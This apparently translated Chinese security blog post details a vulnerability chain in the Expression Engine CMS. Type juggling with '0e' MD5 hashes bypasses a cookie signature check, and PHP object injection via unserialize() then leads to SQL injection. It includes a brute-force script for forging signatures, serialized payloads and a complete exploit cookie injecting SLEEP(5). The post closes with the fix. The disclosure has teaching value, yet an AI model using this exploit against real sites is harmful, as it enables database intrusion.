另類PHP安全漏洞:利用弱型別和物件注入進行SQLi

玄學醬發表於2017-09-25
本文講的是另類PHP安全漏洞:利用弱型別和物件注入進行SQLi最近,我在一個目標中尋找漏洞時,遇到了一個正在執行Expression Engine(一個CMS平臺)的主機。 這個特殊的應用程式吸引了我,因為當我嘗試使用 “admin” 為使用者名稱登入該應用程式時,伺服器響應的cookie中包含了PHP序列化資料。 如我們之前所說過的,反序列化使用者提供的資料可能導致意外的結果; 在某些情況下,甚至會導致程式碼執行。 於是,我決定仔細檢查一下,而不是盲目的去測試,先看看我能否可以下載到這個CMS的原始碼,通過程式碼來弄清楚序列化資料的過程中到底發生了什麼,然後啟動一個本地搭建的副本進行測試。

當我有了這個CMS的原始碼後,我使用grep命令定位到了使用cookie的位置,並找到檔案“./system/ee/legacy/libraries/Session.php”,發現cookie用在了使用者會話維持,這個發現非常有意義。 仔細看了看Session.php,我發現了下面的方法,它負責將序列化的資料進行反序列化:

  protected function _prep_flashdata()
  {
    if ($cookie = ee()->input->cookie(`flash`))
    {
      if (strlen($cookie) > 32)
      {
        $signature = substr($cookie, -32);
        $payload = substr($cookie, 0, -32);
        if (md5($payload.$this->sess_crypt_key) == $signature)
        {
          $this->flashdata = unserialize(stripslashes($payload));
          $this->_age_flashdata();
          return;
        }
      }
    }
    $this->flashdata = array();
  }

通過程式碼,我們可以看到在我們的cookie被解析之前執行了一系列檢查,然後在1293行的程式碼處進行了反序列化。所以讓我們先看看我們的cookie,通過檢查,看看我們是否可以呼叫到“unserialize()”:

a%3A2%3A%7Bs%3A13%3A%22%3Anew%3Ausername%22%3Bs%3A5%3A%22admin%22%3Bs%3A12%3A%22%3Anew%3Amessage%22%3Bs%3A38%3A%22That+is+the+wrong+username+or+password%22%3B%7D3f7d80e10a3d9c0a25c5f56199b067d4

URL解碼後如下:

a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4

如果存在flash cookie,我們就將資料載入到 “$ cookie”變數中(在1284行處的程式碼),然後繼續往下執行。 接下來我們檢查cookie資料的長度是否大於32(在1286行處的程式碼),繼續往下執行。 現在我們使用“substr()”來獲取cookie資料的最後32個字元,並將其儲存在“$signature”變數中,然後將其餘的cookie資料儲存在“$ payload”中,如下所示:

$ php -a
Interactive mode enabled
php > $cookie = `a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4`;
php > $signature = substr($cookie, -32);
php > $payload = substr($cookie, 0, -32);
php > print "Signature: $signature
";
Signature: 3f7d80e10a3d9c0a25c5f56199b067d4
php > print "Payload: $payload
";
Payload: prod_flash=a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:29:"Invalid username or password.";}
php >

現在在第1291行的程式碼中,我們計算了“$ payload.$ this-> sess_crypt_key”的md5雜湊值,並將其與我們在如上所示的cookie結尾處提供的“$signature”進行比較。 通過快速檢視程式碼,發現“$ this-> sess_crypt_cookie”的值是從安裝時建立的“./system/user/config/config.php”這個檔案中傳遞過來的:

./system/user/config/config.php:$config[`encryption_key`] = `033bc11c2170b83b2ffaaff1323834ac40406b79`;

所以讓我們將這個“$ this-> sess_crypt_key”手動定義為“$ salt”,看看md5雜湊值:

php > $salt = `033bc11c2170b83b2ffaaff1323834ac40406b79`;
php > print md5($payload.$salt);
3f7d80e10a3d9c0a25c5f56199b067d4
php >

確定md5雜湊值與“$ signature”相等。 執行此檢查的原因是為了確保“$payload”(即序列化的資料)的值未被篡改。 如此起來,這種檢查確實足以防止這種篡改; 然而,由於PHP是一種弱型別的語言,在執行比較時存在一些陷阱。

不嚴格的比較導致“翻船”

讓我們看一些比較鬆散的比較案例,以獲得一個好的構造payload的方法:

<?php 
 
$a = 1;
$b = 1;
 
var_dump($a);
var_dump($b);
 
if ($a == $b) { print "a and b are the same
"; }
else { print "a and b are NOT the same
"; }
?>
 
Output:
 
$ php steps.php
int(1)
int(1)
a and b are the same
<?php 
 
$a = 1;
$b = 0;
 
var_dump($a);
var_dump($b);
 
if ($a == $b) { print "a and b are the same
"; }
else { print "a and b are NOT the same
"; }
 
?>
 
Output:
 
$ php steps.php
int(1)
int(0)
a and b are NOT the same
<?php 
 
$a = "these are the same";
$b = "these are the same";
 
var_dump($a);
var_dump($b);
 
if ($a == $b) { print "a and b are the same
"; }
else { print "a and b are NOT the same
"; }
 
?>
 
Output:
 
$ php steps.php
string(18) "these are the same"
string(18) "these are the same"
a and b are the same
<?php 
 
$a = "these are NOT the same";
$b = "these are the same";
 
var_dump($a);
var_dump($b);
 
if ($a == $b) { print "a and b are the same
"; }
else { print "a and b are NOT the same
"; }
 
?>
 
Output:
 
$ php steps.php
string(22) "these are NOT the same"
string(18) "these are the same"
a and b are NOT the same

看起來PHP是 “有幫助”於比較操作運算,在比較時會將字串轉換為整數。最後,現在讓我們看看當我們比較兩個看起來像用科學記數法寫成的整數的字串時會發生什麼:

<?php
$a = "0e111111111111111111111111111111";
$b = "0e222222222222222222222222222222";
var_dump($a);
var_dump($b);
if ($a == $b) { print "a and b are the same
"; }
else { print "a and b are NOT the same
"; }
?>
Output:
$ php steps.php
string(32) "0e111111111111111111111111111111"
string(32) "0e222222222222222222222222222222"
a and b are the same

通過上面的結果可以看到,即使變數“$ a”和變數“$ b”都是字串型別,並且明顯有著不同的值,使用寬鬆比較運算子會導致比較求值結果為true,因為在PHP中將“0ex”轉換為整數時總是為零。 這被稱為Type Juggling。

弱型別比較——Type Juggling

有了這個新的知識,讓我們重新檢查一下本應該防止我們篡改序列化資料的檢查:

if (md5($payload.$this->sess_crypt_key) == $signature)

我們在這裡能夠控制“$ payload”的值和“$ signature”的值,所以如果我們能夠找到一個payload,使得“$ this->sess_crypt_key”的md5值成為一個以0e開頭並以所有數字結束的字串,或者是 “$ signature”的MD5雜湊值設定為以0e開頭並以所有數字結尾的值,我們就可以成功的繞過這種檢查。

為了測試這個想法,我修改了一些我在網上找到的程式碼,我將爆破“md5($ payload.$ this-> sess_crypt_key),直到出現我“篡改”的payload。 來看看原來的“$ payload”的樣子:

$ php -a
Interactive mode enabled
php > $cookie = `a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4`;
php > $signature = substr($cookie, -32);
php > $payload = substr($cookie, 0, -32);
php > print_r(unserialize($payload));
Array
(
[:new:username] => admin
[:new:message] => That is the wrong username or password
)
php >

在我的新的“$ payload”變數中,顯示的內容是“錯誤的使用者名稱或密碼”,而我想顯示的是“taquito”。

序列化陣列的第一個元素“[:new:username] => admin”似乎是一個可以建立一個隨機值的好地方,所以這就是我們的爆破點。

注意:這個PoC是在我本地離線工作,因為我有權訪問我自己的例項“$ this-> sess_crypt_key”,如果我們不知道這個值,那麼我們就只能線上進行爆破了。

<?php
set_time_limit(0);
define(`HASH_ALGO`, `md5`);
define(`PASSWORD_MAX_LENGTH`, 8);
$charset = `abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789`;
$str_length = strlen($charset);
function check($garbage)
{
    $length = strlen($garbage);
    $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79";
    $payload = `a:2:{s:13:":new:username";s:`.$length.`:"`.$garbage.`";s:12:":new:message";s:7:"taquito";}`;
    #echo "Testing: " . $payload . "
";
        $hash = md5($payload.$salt);
        $pre = "0e";
    if (substr($hash, 0, 2) === $pre) {
        if (is_numeric($hash)) {
          echo "$payload - $hash
";
        }
      }
}
function recurse($width, $position, $base_string)
{
        global $charset, $str_length;
        for ($i = 0; $i < $str_length; ++$i) {
                if ($position  < $width - 1) {
                        recurse($width, $position + 1, $base_string . $charset[$i]);
                }
                check($base_string . $charset[$i]);
        }
}
for ($i = 1; $i < PASSWORD_MAX_LENGTH + 1; ++$i) {
        echo "Checking passwords with length: $i
";
        recurse($i, 0, ``);
}
?>

當執行上面的程式碼後,我們得到了一個修改過的“$ payload”的 md5雜湊值並且我們的 “$ this-> sess_crypt_key”的例項是以0e開頭,並以數字結尾:

$ php poc1.php
Checking passwords with length: 1
Checking passwords with length: 2
Checking passwords with length: 3
Checking passwords with length: 4
Checking passwords with length: 5
a:2:{s:13:":new:username";s:5:"dLc5d";s:12:":new:message";s:7:"taquito";} - 0e553592359278167729317779925758

讓我們將這個雜湊值與任何“$ signature”的值(我們所能夠提供的)進行比較,該值也以0e開頭並以所有數字結尾:

<?php
$a = "0e553592359278167729317779925758";
$b = "0e222222222222222222222222222222";
var_dump($a);
var_dump($b);
if ($a == $b) { print "a and b are the same
"; }
else { print "a and b are NOT the same
"; }
?>
Output:
$ php steps.php
string(32) "0e553592359278167729317779925758"
string(32) "0e222222222222222222222222222222"
a and b are the same

正如你所看到的,我們已經通過(濫用)Type Juggling成功地修改了原始的“$ payload”以包含我們的新訊息“taquito”。

當PHP物件注入與弱型別相遇會得到什麼呢?SQLi麼?

雖然能夠在瀏覽器中修改顯示的訊息非常有趣,不過讓我們來看看當我們把我們自己的任意資料傳遞到“unserialize()”後還可以做點什麼。 為了節省自己的一些時間,讓我們修改一下程式碼:

if(md5($ payload。$ this-> sess_crypt_key)== $ signature)

修改為:if (1)

上述程式碼在“./system/ee/legacy/libraries/Session.php”檔案中,修改之後,可以在執行“unserialize()”時,我們不必提供有效的簽名。

現在,已知的是我們可以控制序列化陣列裡面“[:new:username] => admin”的值,我們繼續看看“./system/ee/legacy/libraries/Session.php”的程式碼,並注意以下方法:

 function check_password_lockout($username = ``)
 {
   if (ee()->config->item(`password_lockout`) == `n` OR
     ee()->config->item(`password_lockout_interval`) == ``)
   {
     return FALSE;
   }
   $interval = ee()->config->item(`password_lockout_interval`) * 60;
   $lockout = ee()->db->select("COUNT(*) as count")
     ->where(`login_date > `, time() - $interval)
     ->where(`ip_address`, ee()->input->ip_address())
     ->where(`username`, $username)
     ->get(`password_lockout`);
   return ($lockout->row(`count`) >= 4) ? TRUE : FALSE;
 }

這個方法沒毛病,因為它在資料庫中檢查了提供的“$ username”是否被鎖定為預認證。 因為我們可以控制“$ username”的值,所以我們應該能夠在這裡注入我們自己的SQL查詢語句,從而導致一種SQL隱碼攻擊的形式。這個CMS使用了資料庫驅動程式類來與資料庫進行互動,但原始的查詢語句看起來像這樣(我們可以猜的相當接近):

SELECT COUNT(*) as count FROM (`exp_password_lockout`) WHERE `login_date` > `$interval` AND `ip_address` = `$ip_address` AND `username` = `$username`;

修改“$payload”為:

a:2:{s:13:":new:username";s:1:"`";s:12:":new:message";s:7:"taquito";}

並將其傳送到頁面出現瞭如下錯誤資訊,但由於某些原因,我們什麼也沒有得到……

“Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line”

不是我想要的型別…

經過一番搜尋後,我在“./system/ee/legacy/database/DB_driver.php”中看到了以下程式碼:

 function escape($str)
 {
   if (is_string($str))
   {
     $str = "`".$this->escape_str($str)."`";
   }
   elseif (is_bool($str))
   {
     $str = ($str === FALSE) ? 0 : 1;
   }
   elseif (is_null($str))
   {
     $str = `NULL`;
   }
   return $str;
 }

在第527行,我們看到程式對我們提供的值執行了“is_string()”檢查,如果它返回了true,我們的值就會被轉義。 我們可以通過在函式的開頭和結尾放置“var_dump”並檢查輸出來確認這裡到底發生了什麼:

前:

string(1) "y"
int(1)
int(1)
int(1)
int(0)
int(1)
int(3)
int(0)
int(1)
int(1486399967)
string(11) "192.168.1.5"
string(1) "`"
int(1)

後:

string(3) "`y`"
int(1)
int(1)
int(1)
int(0)
int(1)
int(3)
int(0)
int(1)
int(1486400275)
string(13) "`192.168.1.5`"
string(4) "```"
int(1)

果然,我們可以看到我們的“`”的值已經被轉義,現在是“`”。 幸運的是,對我們來說,我們還有辦法。

轉義檢查只是檢檢視看“$ str”是一個字串還是一個布林值或是null; 如果它匹配不了任何這幾個型別,“$ str”將返回非轉義的值。 這意味著如果我們提供一個“物件”,那麼我們應該能夠繞過這個檢查。 但是,這也意味著接下來我們需要搜尋一個我們可以使用的物件。

自動載入給了我希望!

通常,當我們尋找可以利用unserialize的類時,我們通常使用魔術方法(如“__wakeup”或“__destruct”)來尋找類,但是有時候應用程式實際上會使用自動載入器。 自動載入背後的一般想法是,當一個物件被建立後,PHP就會檢查它是否知道該類的任何東西,如果不是,它就會自動載入這個物件。 對我們來說,這意味著我們不必依賴包含“__wakeup”或“__destruct”方法的類。 我們只需要找到一個呼叫我們控制的“__toString”的類,因為應用程式會嘗試將 “$ username”變數作為字串使用。

尋找如這個檔案中所包含的類:

“./system/ee/EllisLab/ExpressionEngine/Library/Parser/Conditional/Token/Variable.php”:
<?php
  namespace EllisLabExpressionEngineLibraryParserConditionalToken;
  class Variable extends Token {
    protected $has_value = FALSE;
    public function __construct($lexeme)
    {
      parent::__construct(`VARIABLE`, $lexeme);
    }
    public function canEvaluate()
    {
      return $this->has_value;
    }
    public function setValue($value)
    {
      if (is_string($value))
      {
        $value = str_replace(
          array(`{`, `}`),
          array(`{`, `}`),
          $value
        );
      }
      $this->value = $value;
      $this->has_value = TRUE;
    }
    public function value()
    {
      // in this case the parent assumption is wrong
      // our value is definitely *not* the template string
      if ( ! $this->has_value)
      {
        return NULL;
      }
      return $this->value;
    }
    public function __toString()
    {
      if ($this->has_value)
      {
        return var_export($this->value, TRUE);
      }
      return $this->lexeme;
    }
  }
  // EOF

這個類看起來非常完美! 我們可以看到物件使用引數“$lexeme”呼叫了方法“__construct”,然後呼叫“__toString”,將引數“$ lexeme”作為字串返回。 這正是我們正在尋找的類。 讓我們組合起來快速為我們建立序列化物件對應的POC:

<?php
namespace EllisLabExpressionEngineLibraryParserConditionalToken;
class Variable {
        public $lexeme = FALSE;
}
$x = new Variable();
$x->lexeme = "`";
echo serialize($x)."
";
?>
Output:
$ php poc.php
O:67:"EllisLabExpressionEngineLibraryParserConditionalTokenVariable":1:{s:6:"lexeme";s:1:"`";}

經過幾個小時的試驗和錯誤嘗試,最終得出一個結論:轉義在搞鬼。 當我們將我們的物件新增到我們的陣列中後,我們需要修改上面的物件(注意額外的斜線):

a:1:{s:13:":new:username";O:67:"EllisLab\\ExpressionEngine\\Library\\Parser\\Conditional\\Token\\Variable":1:{s:6:"lexeme";s:1:"`";}}

我們在程式碼之前插入用於除錯的“var_dump”,然後傳送上面的payload,顯示的資訊如下:

string(3) "`y`"
int(1)
int(1)
int(1)
int(0)
int(1)
int(3)
int(0)
int(1)
int(1486407246)
string(13) "`192.168.1.5`"
object(EllisLabExpressionEngineLibraryParserConditionalTokenVariable)#177 (6) {
  ["has_value":protected]=>
  bool(false)
  ["type"]=>
  NULL
  ["lexeme"]=>
  string(1) "`"
  ["context"]=>
  NULL
  ["lineno"]=>
  NULL
  ["value":protected]=>
  NULL
}

注意,現在我們有了一個“物件”而不是一個“字串”,“lexeme”的值是我們的非轉義“`”的值!可以在頁面中更進一步來確認:

<h1>Exception Caught</h1>
<h2>SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ``` at line 5:
SELECT COUNT(*) as count
FROM (`exp_password_lockout`)
WHERE `login_date` &gt;  1486407246
AND `ip_address` =  `192.168.1.5`
AND `username` =  `</h2>
mysqli_connection.php:122

Awww! 我們已經成功地通過PHP物件注入實現了SQL隱碼攻擊,從而將我們自己的資料注入到了SQL查詢語句中!

PoC!

最後,我建立了一個PoC來將Sleep(5)注入到資料庫。 最讓我頭疼的就是應用程式中計算“md5()”時的反斜槓的數量與成功執行“unserialize()”需要的斜槓數量, 不過,一旦發現解決辦法,就可以導致以下結果:

<?php
set_time_limit(0);
define(`HASH_ALGO`, `md5`);
define(`garbage_MAX_LENGTH`, 8);
$charset = `abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789`;
$str_length = strlen($charset);
function check($garbage)
{
    $length = strlen($garbage) + 26;
    $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79";
    $payload = `a:1:{s:+13:":new:username";O:67:"EllisLab\ExpressionEngine\Library\Parser\Conditional\Token\Variable":1:{s:+6:"lexeme";s:+`.$length.`:"1 UNION SELECT SLEEP(5) # `.$garbage.`";}}`;
    #echo "Testing: " . $payload . "
";
        $hash = md5($payload.$salt);
        $pre = "0e";
    if (substr($hash, 0, 2) === $pre) {
        if (is_numeric($hash)) {
          echo "$payload - $hash
";
        }
      }
}
function recurse($width, $position, $base_string)
{
        global $charset, $str_length;
        for ($i = 0; $i < $str_length; ++$i) {
                if ($position  < $width - 1) {
                        recurse($width, $position + 1, $base_string . $charset[$i]);
                }
                check($base_string . $charset[$i]);
        }
}
for ($i = 1; $i < garbage_MAX_LENGTH + 1; ++$i) {
        echo "Checking garbages with length: $i
";
        recurse($i, 0, ``);
}
?>
Output:
$ php poc2.php
a:1:{s:+13:":new:username";O:67:"EllisLab\ExpressionEngine\Library\Parser\Conditional\Token\Variable":1:{s:+6:"lexeme";s:+31:"1 UNION SELECT SLEEP(5) # v40vP";}} - 0e223968250284091802226333601821

以及我們傳送到伺服器的payload(再次注意那些額外的斜槓):

Cookie: exp_flash=a%3a1%3a{s%3a%2b13%3a"%3anew%3ausername"%3bO%3a67%3a"EllisLab\\ExpressionEngine\\Library\\Parser\\Conditional\\Token\\Variable"%3a1%3a{s%3a%2b6%3a"lexeme"%3bs%3a%2b31%3a"1+UNION+SELECT+SLEEP(5)+%23+v40vP"%3b}}0e223968250284091802226333601821

五秒後我們就得到了伺服器的響應。

修復方案!

這種型別的漏洞修復真的可以歸結為一個“=”,將:if (md5($payload.$this->sess_crypt_key) == $signature)替換為:if (md5($payload.$this->sess_crypt_key) === $signature)

除此之外,不要“unserialize()”使用者提供的資料!

原文釋出時間為:2017年2月22日
本文作者:絲綢之路
本文來自雲棲社群合作伙伴嘶吼,瞭解相關資訊可以關注嘶吼網站。


相關文章